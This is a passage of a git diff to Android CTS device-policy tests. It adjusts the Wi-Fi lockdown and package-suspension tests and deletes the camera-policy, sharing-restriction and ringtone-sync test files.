+                if (retries++ > 10) {
                     fail("timezone wasn't updated");
                 }
                 Thread.sleep(1000);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
index f717086..d8cb848 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/WifiConfigLockdownTest.java
@@ -30,6 +30,7 @@
 
 import android.content.Intent;
 import android.net.wifi.WifiConfiguration;
+import android.os.Process;
 import android.provider.Settings;
 import android.util.Log;
 
@@ -54,6 +55,12 @@
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "1");
         mWifiConfigCreator.addNetwork(ORIGINAL_DEVICE_OWNER_SSID, true, SECURITY_TYPE_WPA,
                 ORIGINAL_PASSWORD);
+
+        Log.d(TAG, "setUp: user=" + Process.myUserHandle() + ", creator=" + mWifiConfigCreator
+                + ", dpm=" + mDevicePolicyManager + ", wifiMgr=" + mWifiManager
+                + ", mCurrentUserWifiManager= " + mCurrentUserWifiManager);
+        logConfigs("setup()", getConfiguredNetworks());
+
         startRegularActivity(ACTION_CREATE_WIFI_CONFIG, -1, ORIGINAL_REGULAR_SSID,
                 SECURITY_TYPE_WPA, ORIGINAL_PASSWORD);
     }
@@ -62,7 +69,7 @@
     protected void tearDown() throws Exception {
         mDevicePolicyManager.setGlobalSetting(getWho(),
                 Settings.Global.WIFI_DEVICE_OWNER_CONFIGS_LOCKDOWN, "0");
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("tearDown()", configs);
         for (WifiConfiguration config : configs) {
             if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID) ||
@@ -77,7 +84,7 @@
     }
 
     public void testDeviceOwnerCanUpdateConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testDeviceOwnerCanUpdateConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -104,8 +111,37 @@
                 .that(updateCount).isAtLeast(2);
     }
 
+    public void testDeviceOwnerCanRemoveConfig() throws Exception {
+        List<WifiConfiguration> configs = getConfiguredNetworks();
+        logConfigs("testDeviceOwnerCanRemoveConfig()", configs);
+        int removeCount = 0;
+        for (WifiConfiguration config : configs) {
+            if (areMatchingSsids(ORIGINAL_DEVICE_OWNER_SSID, config.SSID)
+                    || areMatchingSsids(ORIGINAL_REGULAR_SSID, config.SSID)) {
+                // On some devices a wpa3-sae configuration is auto-created for every wpa2
+                // config, and they are auto-removed when the corresponding config is removed.
+                // Recheck every config against the latest list of wifi configurations and skip
+                // those which is already auto-removed.
+                Log.d(TAG, "Checking if SSID " + config.SSID + " / id " + config.networkId
+                        + " should be removed");
+                if (getConfiguredNetworks().stream()
+                        .noneMatch(c -> c.networkId == config.networkId)) {
+                    Log.d(TAG, "Skipping it");
+                    continue;
+                }
+                Log.d(TAG, "Removing using " + mWifiManager);
+                assertWithMessage("removeNetwork(%s)", config.networkId)
+                        .that(mWifiManager.removeNetwork(config.networkId)).isTrue();
+                ++removeCount;
+            }
+        }
+        logConfigs("After removing " + removeCount, configs);
+        assertWithMessage("number of removed configs (the DO created one and the regular one)")
+                .that(removeCount).isEqualTo(2);
+    }
+
     public void testRegularAppCannotUpdateDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int updateCount = 0;
         for (WifiConfiguration config : configs) {
@@ -121,7 +157,7 @@
                 .that(updateCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotUpdateDeviceOwnerConfig(): testing " + config.SSID);
@@ -136,7 +172,7 @@
     }
 
     public void testRegularAppCannotRemoveDeviceOwnerConfig() throws Exception {
-        List<WifiConfiguration> configs = mWifiConfigCreator.getConfiguredNetworks();
+        List<WifiConfiguration> configs = getConfiguredNetworks();
         logConfigs("testRegularAppCannotUpdateDeviceOwnerConfig()", configs);
         int removeCount = 0;
         for (WifiConfiguration config : configs) {
@@ -153,7 +189,7 @@
                 .that(removeCount).isAtLeast(1);
 
         // Assert nothing has changed
-        configs = mWifiConfigCreator.getConfiguredNetworks();
+        configs = getConfiguredNetworks();
         int notChangedCount = 0;
         for (WifiConfiguration config : configs) {
             Log.d(TAG, "testRegularAppCannotRemoveDeviceOwnerConfig(): testing " + config.SSID);
@@ -194,6 +230,7 @@
             return;
         }
         Log.d(TAG, prefix + ": " + configs.size() + " configs: "
-                + configs.stream().map((c) -> c.SSID).collect(Collectors.toList()));
+                + configs.stream().map((c) -> c.SSID + "/" + c.networkId)
+                        .collect(Collectors.toList()));
     }
 }
diff --git a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
index 614377c..0b21b15 100755
--- a/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/HasLauncherActivityApp/no_launcher_activity_AndroidManifest.xml
@@ -18,15 +18,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="com.android.cts.nolauncheractivityapp">
     <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <activity android:name="com.android.cts.haslauncheractivityapp.MainActivity"
-                  android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-            </intent-filter>
-        </activity>
-        <service android:name=".EmptyService" android:enabled="true"></service>
-    </application>
+    <application />
 
 </manifest>
 
diff --git a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
index 16d4f03..f17da74 100644
--- a/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
+++ b/hostsidetests/devicepolicy/app/IntentSender/src/com/android/cts/intent/sender/SuspendPackageTest.java
@@ -9,7 +9,6 @@
 import android.content.pm.ResolveInfo;
 import android.content.res.Configuration;
 import android.os.UserHandle;
-import android.os.UserManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
@@ -29,6 +28,10 @@
             .clazz(android.widget.TextView.class.getName())
             .res("android:id/alertTitle")
             .pkg("com.google.android.apps.wearable.settings");
+    private static final BySelector POPUP_TITLE_AUTOMOTIVE_SELECTOR = By
+            .clazz(android.widget.TextView.class.getName())
+            .res("com.android.car.settings:id/car_ui_alert_title")
+            .pkg("com.android.car.settings");
 
     private static final BySelector SUSPEND_BUTTON_SELECTOR = By
             .clazz(android.widget.Button.class.getName())
@@ -39,6 +42,7 @@
     private PackageManager mPackageManager;
     private UiAutomation mUiAutomation;
 
+    private static final String DEFAULT_SETTINGS_PKG = "com.android.settings";
     private static final String INTENT_RECEIVER_PKG = "com.android.cts.intent.receiver";
     private static final String TARGET_ACTIVITY_NAME =
             "com.android.cts.intent.receiver.SimpleIntentReceiverActivity";
@@ -50,16 +54,11 @@
         String packageName = mContext.getPackageName();
         int userId = mContext.getUserId();
         Class<IntentSenderActivity> activityClass = IntentSenderActivity.class;
-        if (temporarilySkipActivityLaunch()) {
-            Log.w(TAG, "setup(): not launching " + activityClass + " on user " + userId
-                    + " as launcher on automotive doesn't support suspended apps yet");
-        } else {
-            Log.d(TAG, "setup(): launching " + activityClass + " on user " + userId);
-            mActivity = launchActivity(packageName, activityClass, null);
-            assertWithMessage("activity %s launched on package %s on user %s",
-                    activityClass, packageName, userId).that(mActivity).isNotNull();
-            Log.d(TAG, "setup(): launched activity " + mActivity);
-        }
+        Log.d(TAG, "setup(): launching " + activityClass + " on user " + userId);
+        mActivity = launchActivity(packageName, activityClass, null);
+        assertWithMessage("activity %s launched on package %s on user %s",
+                activityClass, packageName, userId).that(mActivity).isNotNull();
+        Log.d(TAG, "setup(): launched activity " + mActivity);
         mPackageManager = mContext.getPackageManager();
         mUiAutomation = getInstrumentation().getUiAutomation();
     }
@@ -72,11 +71,6 @@
         super.tearDown();
     }
 
-    // TODO(b/182387060): STOPSHIP temporarily hack until CarLauncher supports it
-    private boolean temporarilySkipActivityLaunch() {
-        return UserManager.isHeadlessSystemUserMode();
-    }
-
     public void testPackageSuspended() throws Exception {
         assertPackageSuspended(/* suspended= */ true, /* customDialog= */ false);
     }
@@ -96,24 +90,22 @@
     private void assertPackageSuspended(boolean suspended, boolean customDialog) throws Exception {
         Intent intent = new Intent();
         intent.setClassName(INTENT_RECEIVER_PKG, TARGET_ACTIVITY_NAME);
-        if (!temporarilySkipActivityLaunch()) {
-            Intent result = mActivity.getResult(intent);
-            Log.d(TAG, "assertPackageSuspended(suspended=" + suspended
-                    + ", customDialog=" + customDialog + "): result for activity "
-                    + INTENT_RECEIVER_PKG + "/" + TARGET_ACTIVITY_NAME + " on user "
-                    + mContext.getUserId() + ": " + result);
-            if (suspended) {
-                if (customDialog) {
-                    dismissCustomDialog();
-                } else {
-                    dismissPolicyTransparencyDialog();
-                }
-                assertWithMessage("result for activitiy %s while suspended", intent).that(result)
-                        .isNull();
+        Intent result = mActivity.getResult(intent);
+        Log.d(TAG, "assertPackageSuspended(suspended=" + suspended
+                + ", customDialog=" + customDialog + "): result for activity "
+                + INTENT_RECEIVER_PKG + "/" + TARGET_ACTIVITY_NAME + " on user "
+                + mContext.getUserId() + ": " + result);
+        if (suspended) {
+            if (customDialog) {
+                dismissCustomDialog();
             } else {
-                assertWithMessage("result for activitiy %s while NOT suspended", intent)
-                        .that(result).isNotNull();
+                dismissPolicyTransparencyDialog();
             }
+            assertWithMessage("result for activitiy %s while suspended", intent).that(result)
+                    .isNull();
+        } else {
+            assertWithMessage("result for activitiy %s while NOT suspended", intent)
+                    .that(result).isNotNull();
         }
         // No matter if it is suspended or not, we should be able to resolve the activity.
         ResolveInfo resolveInfo = mPackageManager.resolveActivity(intent, /* flags= */ 0);
@@ -131,6 +123,18 @@
             final UiObject2 title = device.findObject(POPUP_TITLE_WATCH_SELECTOR);
             assertWithMessage("Policy transparency dialog title").that(title).isNotNull();
             title.swipe(Direction.RIGHT, 1.0f);
+        } else if (isAutomotive()) {
+            device.wait(Until.hasObject(POPUP_TITLE_AUTOMOTIVE_SELECTOR),
+                    WAIT_DIALOG_TIMEOUT_IN_MS);
+            Log.d(TAG, "waiting for " + POPUP_TITLE_AUTOMOTIVE_SELECTOR);
+            final UiObject2 title = device.findObject(POPUP_TITLE_AUTOMOTIVE_SELECTOR);
+            assertWithMessage("Policy transparency dialog title").that(title).isNotNull();
+            // "OK" button only present in the dialog if it is blocked by policy.
+            BySelector selector = getPopUpButtonSelector();
+            Log.d(TAG, "waiting for " + selector);
+            final UiObject2 button = device.findObject(getPopUpButtonSelector());
+            assertWithMessage("OK button").that(button).isNotNull();
+            button.click();
         } else {
             device.wait(Until.hasObject(getPopUpImageSelector()), WAIT_DIALOG_TIMEOUT_IN_MS);
             final UiObject2 icon = device.findObject(getPopUpImageSelector());
@@ -155,6 +159,10 @@
                 & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_WATCH;
     }
 
+    private boolean isAutomotive() {
+        return mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
     private String getSettingsPackageName() {
         String settingsPackageName = "com.android.settings";
         try {
@@ -163,12 +171,13 @@
                     new Intent(Settings.ACTION_SETTINGS), PackageManager.MATCH_SYSTEM_ONLY,
                     UserHandle.USER_SYSTEM);
             if (resolveInfo != null && resolveInfo.activityInfo != null) {
-                settingsPackageName = resolveInfo.activityInfo.packageName;
+                return resolveInfo.activityInfo.packageName;
             }
+            Log.w(TAG, "Unable to resolve ACTION_SETTINGS intent.");
+            return DEFAULT_SETTINGS_PKG;
         } finally {
             mUiAutomation.dropShellPermissionIdentity();
         }
-        return settingsPackageName;
     }
 
     private BySelector getPopUpButtonSelector() {
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
deleted file mode 100644
index e3523e3..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/CameraPolicyTest.java
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package com.android.cts.managedprofile;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.hardware.camera2.CameraManager;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.test.AndroidTestCase;
-
-import com.android.cts.devicepolicy.CameraUtils;
-
-
-public class CameraPolicyTest extends AndroidTestCase {
-
-    protected static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
-
-    private static final String MANAGED_PROFILE_ADMIN_RECEIVER_TEST_CLASS =
-            MANAGED_PROFILE_PKG + ".BaseManagedProfileTest$BasicAdminReceiver";
-
-    private DevicePolicyManager mDevicePolicyManager;
-
-    private CameraManager mCameraManager;
-
-    private ComponentName mManagedProfileAdminComponent;
-
-    private HandlerThread mBackgroundThread;
-
-    /**
-     * A {@link Handler} for running tasks in the background.
-     */
-    private Handler mBackgroundHandler;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mDevicePolicyManager = (DevicePolicyManager) getContext()
-                .getSystemService(Context.DEVICE_POLICY_SERVICE);
-        mCameraManager = (CameraManager) getContext().getSystemService(Context.CAMERA_SERVICE);
-        mManagedProfileAdminComponent = new ComponentName(MANAGED_PROFILE_PKG,
-                MANAGED_PROFILE_ADMIN_RECEIVER_TEST_CLASS);
-        startBackgroundThread();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        stopBackgroundThread();
-        super.tearDown();
-    }
-
-    public void testDisableCameraInManagedProfile() throws Exception {
-        mDevicePolicyManager.setCameraDisabled(mManagedProfileAdminComponent, true);
-        assertTrue(mDevicePolicyManager.getCameraDisabled(mManagedProfileAdminComponent));
-        assertTrue(mDevicePolicyManager.getCameraDisabled(null));
-        checkCanOpenCamera(false);
-    }
-
-    public void testEnableCameraInManagedProfile() throws Exception {
-        mDevicePolicyManager.setCameraDisabled(mManagedProfileAdminComponent, false);
-        assertFalse(mDevicePolicyManager.getCameraDisabled(mManagedProfileAdminComponent));
-        assertFalse(mDevicePolicyManager.getCameraDisabled(null));
-        checkCanOpenCamera(true);
-    }
-
-
-    /**
-     * Beginning with Android 7.0, the camera restriction policy isn't kept in the
-     * system property("sys.secpolicy.camera.off_<userId>") anymore, CameraService
-     * now checks if camera is disabled via AppOpsService.
-     *
-     * The propagation of camera retriction policy from DevicePolicyManagerService
-     * to UserManagerService and then finally to AppOpsService is NOT synchronous,
-     * so here #blockUntilOpenCamera is called many times until policy is enforced
-     * or timed out.
-     *
-     * @see android.app.AppOpsManager#checkOp(String, int, String)
-     * @see android.app.AppOpsManager.OnOpChangedListener
-     */
-    private void checkCanOpenCamera(boolean canOpen) throws Exception {
-        int retries = 10;
-        boolean successToOpen = !canOpen;
-        while (successToOpen != canOpen && retries > 0) {
-            retries--;
-            Thread.sleep(500);
-            successToOpen = CameraUtils
-                    .blockUntilOpenCamera(mCameraManager, mBackgroundHandler);
-        }
-        assertEquals(String.format("Timed out waiting the value to change to %b (actual=%b)",
-                    canOpen, successToOpen), canOpen, successToOpen);
-    }
-
-    /**
-     * Starts a background thread and its {@link Handler}.
-     */
-    private void startBackgroundThread() {
-        mBackgroundThread = new HandlerThread("CameraBackground");
-        mBackgroundThread.start();
-        mBackgroundHandler = new Handler(mBackgroundThread.getLooper());
-    }
-
-    /**
-     * Stops the background thread and its {@link Handler}.
-     */
-    private void stopBackgroundThread() {
-        mBackgroundThread.quitSafely();
-        try {
-            mBackgroundThread.join();
-            mBackgroundThread = null;
-            mBackgroundHandler = null;
-        } catch (InterruptedException e) {
-            e.printStackTrace();
-        }
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
deleted file mode 100644
index 348348c..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/DisallowSharingIntoProfileTest.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static com.android.cts.managedprofile.BaseManagedProfileTest.ADMIN_RECEIVER_COMPONENT;
-import static java.util.concurrent.TimeUnit.SECONDS;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.UserManager;
-import android.provider.MediaStore;
-import android.test.InstrumentationTestCase;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Verify that certain cross profile intent filters are disallowed when the device admin sets
- * DISALLOW_SHARE_INTO_MANAGED_PROFILE restriction.
- * <p>
- * The way we check if a particular cross profile intent filter is disallowed is by trying to
- * resolve an example intent that matches the intent filter. The cross profile filter functions
- * correctly if and only if the resolution result contains a system intent forwarder activity
- * (com.android.internal.app.IntentForwarderActivity), which is the framework's mechanism to
- * trampoline intents across profiles. Instead of hardcoding the system's intent forwarder activity,
- * we retrieve it programmatically by resolving known cross profile intents specifically set up for
- * this purpose: {@link #KNOWN_ACTION_TO_PROFILE} and {@link #KNOWN_ACTION_TO_PERSONAL}
- */
-public class DisallowSharingIntoProfileTest extends InstrumentationTestCase {
-
-    // These are the data sharing intents which can be forwarded to the managed profile.
-    private final List<Intent> sharingIntentsToProfile = Arrays.asList(
-            new Intent(Intent.ACTION_SEND).setType("*/*"),
-            new Intent(Intent.ACTION_SEND_MULTIPLE).setType("*/*"));
-
-    // These are the data sharing intents which can be forwarded to the primary profile.
-    private final List<Intent> sharingIntentsToPersonal = new ArrayList<>(Arrays.asList(
-            new Intent(Intent.ACTION_GET_CONTENT).setType("*/*").addCategory(
-                    Intent.CATEGORY_OPENABLE),
-            new Intent(Intent.ACTION_OPEN_DOCUMENT).setType("*/*").addCategory(
-                    Intent.CATEGORY_OPENABLE),
-            new Intent(Intent.ACTION_PICK).setType("*/*").addCategory(
-                    Intent.CATEGORY_DEFAULT),
-            new Intent(Intent.ACTION_PICK).addCategory(Intent.CATEGORY_DEFAULT)));
-
-    // These are the data sharing intents which can be forwarded to the primary profile,
-    // if the device supports FEATURE_CAMERA
-    private final List<Intent> sharingIntentsToPersonalIfCameraExists = Arrays.asList(
-            new Intent(MediaStore.ACTION_IMAGE_CAPTURE),
-            new Intent(MediaStore.ACTION_VIDEO_CAPTURE),
-            new Intent(MediaStore.INTENT_ACTION_STILL_IMAGE_CAMERA),
-            new Intent(MediaStore.INTENT_ACTION_VIDEO_CAMERA),
-            new Intent(MediaStore.ACTION_IMAGE_CAPTURE_SECURE),
-            new Intent(MediaStore.INTENT_ACTION_STILL_IMAGE_CAMERA_SECURE));
-
-    private static final String KNOWN_ACTION_TO_PROFILE = ManagedProfileActivity.ACTION;
-    private static final String KNOWN_ACTION_TO_PERSONAL = PrimaryUserActivity.ACTION;
-
-    protected Context mContext;
-    protected DevicePolicyManager mDevicePolicyManager;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        mContext = getInstrumentation().getContext();
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
-        assertNotNull(mDevicePolicyManager);
-    }
-
-    public void testSetUp() throws Exception {
-        // toggle the restriction to reset system's built-in cross profile intent filters,
-        // simulating the default state of a work profile created by ManagedProvisioning
-        testDisableSharingIntoProfile();
-        testEnableSharingIntoProfile();
-
-        PackageManager pm = mContext.getPackageManager();
-        if (pm.hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
-            sharingIntentsToPersonal.addAll(sharingIntentsToPersonalIfCameraExists);
-        }
-
-        mDevicePolicyManager.clearCrossProfileIntentFilters(ADMIN_RECEIVER_COMPONENT);
-        // Set up cross profile intent filters so we can resolve these to find out framework's
-        // intent forwarder activity as ground truth
-        mDevicePolicyManager.addCrossProfileIntentFilter(ADMIN_RECEIVER_COMPONENT,
-                new IntentFilter(KNOWN_ACTION_TO_PERSONAL),
-                DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
-        mDevicePolicyManager.addCrossProfileIntentFilter(ADMIN_RECEIVER_COMPONENT,
-                new IntentFilter(KNOWN_ACTION_TO_PROFILE),
-                DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT);
-    }
-
-    /**
-     * Test sharing initiated from the personal side are mainly driven from the host side, see
-     * ManagedProfileTest.testDisallowSharingIntoProfileFromPersonal() See javadoc of
-     * {@link #DisallowSharingIntoProfileTest} class for the mechanism behind this test.
-     */
-    public void testSharingFromPersonalFails() {
-        ResolveInfo toProfileForwarderInfo = getIntentForwarder(
-                new Intent(KNOWN_ACTION_TO_PROFILE));
-        assertCrossProfileIntentsResolvability(sharingIntentsToProfile, toProfileForwarderInfo,
-                /* expectForwardable */ false);
-    }
-
-    public void testSharingFromPersonalSucceeds() {
-        ResolveInfo toProfileForwarderInfo = getIntentForwarder(
-                new Intent(KNOWN_ACTION_TO_PROFILE));
-        assertCrossProfileIntentsResolvability(sharingIntentsToProfile, toProfileForwarderInfo,
-                /* expectForwardable */ true);
-    }
-
-    /**
-     * Test sharing initiated from the profile side i.e. user tries to pick up personal data within
-     * a work app. See javadoc of {@link #DisallowSharingIntoProfileTest} class for the mechanism
-     * behind this test.
-     */
-    public void testSharingFromProfile() throws Exception {
-        testSetUp();
-        ResolveInfo toPersonalForwarderInfo = getIntentForwarder(
-                new Intent(KNOWN_ACTION_TO_PERSONAL));
-
-        testDisableSharingIntoProfile();
-        assertCrossProfileIntentsResolvability(sharingIntentsToPersonal, toPersonalForwarderInfo,
-                /* expectForwardable */ false);
-        testEnableSharingIntoProfile();
-        assertCrossProfileIntentsResolvability(sharingIntentsToPersonal, toPersonalForwarderInfo,
-                /* expectForwardable */ true);
-    }
-
-    public void testEnableSharingIntoProfile() throws Exception {
-        setSharingEnabled(true);
-    }
-
-    public void testDisableSharingIntoProfile() throws Exception {
-        setSharingEnabled(false);
-    }
-
-    private void setSharingEnabled(boolean enabled) throws InterruptedException {
-        final CountDownLatch latch = new CountDownLatch(1);
-        BroadcastReceiver receiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                latch.countDown();
-            }
-        };
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(DevicePolicyManager.ACTION_DATA_SHARING_RESTRICTION_APPLIED);
-        mContext.registerReceiver(receiver, filter);
-        try {
-            if (enabled) {
-                mDevicePolicyManager.clearUserRestriction(ADMIN_RECEIVER_COMPONENT,
-                        UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE);
-            } else {
-                mDevicePolicyManager.addUserRestriction(ADMIN_RECEIVER_COMPONENT,
-                        UserManager.DISALLOW_SHARE_INTO_MANAGED_PROFILE);
-            }
-            // Wait for the restriction to apply
-            assertTrue("Restriction not applied after 60 seconds", latch.await(60, SECONDS));
-        } finally {
-            mContext.unregisterReceiver(receiver);
-        }
-    }
-
-    private void assertCrossProfileIntentsResolvability(List<Intent> intents,
-            ResolveInfo expectedForwarder, boolean expectForwardable) {
-        for (Intent intent : intents) {
-            List<ResolveInfo> resolveInfoList = mContext.getPackageManager().queryIntentActivities(
-                    intent,
-                    PackageManager.MATCH_DEFAULT_ONLY);
-            if (expectForwardable) {
-                assertTrue("Expect " + intent + " to be forwardable, but resolve list"
-                        + " does not contain expected intent forwarder " + expectedForwarder,
-                        containsResolveInfo(resolveInfoList, expectedForwarder));
-            } else {
-                assertFalse("Expect " + intent + " not to be forwardable, but resolve list "
-                        + "contains intent forwarder " + expectedForwarder,
-                        containsResolveInfo(resolveInfoList, expectedForwarder));
-            }
-        }
-    }
-
-    private ResolveInfo getIntentForwarder(Intent intent) {
-        List<ResolveInfo> result = mContext.getPackageManager().queryIntentActivities(intent,
-                PackageManager.MATCH_DEFAULT_ONLY);
-        assertEquals("Expect only one resolve result for " + intent, 1, result.size());
-        return result.get(0);
-    }
-
-    private boolean containsResolveInfo(List<ResolveInfo> list, ResolveInfo info) {
-        for (ResolveInfo entry : list) {
-            if (entry.activityInfo.packageName.equals(info.activityInfo.packageName)
-                    && entry.activityInfo.name.equals(info.activityInfo.name)) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java b/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java
deleted file mode 100644
index db43670..0000000
--- a/hostsidetests/devicepolicy/app/ManagedProfile/src/com/android/cts/managedprofile/RingtoneSyncTest.java
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.managedprofile;
-
-import static android.provider.Settings.Secure.SYNC_PARENT_SOUNDS;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.media.RingtoneManager;
-import android.net.Uri;
-import android.provider.Settings;
-
-/**
- * Tests that managed profile ringtones work, as well as the "sync from parent profile" feature
- */
-public class RingtoneSyncTest extends BaseManagedProfileTest {
-
-    private static final int[] RINGTONE_TYPES = {
-            RingtoneManager.TYPE_RINGTONE, RingtoneManager.TYPE_NOTIFICATION,
-            RingtoneManager.TYPE_ALARM
-    };
-
-    private ContentResolver mContentResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = mContext.getContentResolver();
-    }
-
-    /**
-     * Checks that the ringtone set in the settings provider and the ringtone retrieved from
-     * RingtoneManager are identical.
-     *
-     * Used to test that the ringtone sync setting is enabled by default, and that managed profile
-     * ringtones are kept in sync with parent profile ringtones, despite the setting being kept in
-     * another user from the caller.
-     */
-    public void testRingtoneSync() throws Exception {
-        String defaultRingtone = Settings.System.getString(mContentResolver,
-                Settings.System.RINGTONE);
-        String defaultNotification = Settings.System.getString(mContentResolver,
-                Settings.System.NOTIFICATION_SOUND);
-        String defaultAlarm = Settings.System.getString(mContentResolver,
-                Settings.System.ALARM_ALERT);
-
-        // RingtoneManager API should retrieve the same ringtones
-        validateRingtoneManagerGetRingtone(defaultRingtone, RingtoneManager.TYPE_RINGTONE);
-        validateRingtoneManagerGetRingtone(defaultNotification, RingtoneManager.TYPE_NOTIFICATION);
-        validateRingtoneManagerGetRingtone(defaultAlarm, RingtoneManager.TYPE_ALARM);
-    }
-
-    private void validateRingtoneManagerGetRingtone(String expected, int type) {
-        Uri expectedUri = (expected == null ? null : Utils.getUriWithoutUserId(
-                Uri.parse(expected)));
-        Uri actualRingtoneUri = Utils.getUriWithoutUserId(
-                RingtoneManager.getActualDefaultRingtoneUri(mContext, type));
-        assertEquals(expectedUri, actualRingtoneUri);
-    }
-
-    /*
-     * Tests that setting a work ringtone disables Settings.Secure.SYNC_PARENT_SOUNDS.
-     */
-    private void testSoundDisableSync(int ringtoneType) throws Exception {
-        Settings.Secure.putInt(mContentResolver, SYNC_PARENT_SOUNDS, 1);
-
-        Uri originalUri = RingtoneManager.getActualDefaultRingtoneUri(mContext, ringtoneType);
-
-        // Make sure we have the rights we need to set a new ringtone.
-        assertTrue(Settings.System.canWrite(mContext));
-
-        // Explicitly set a work sound, to stop syncing ringtones between profiles.
-        assertEquals(1, Settings.Secure.getInt(mContentResolver, SYNC_PARENT_SOUNDS));
-        try {
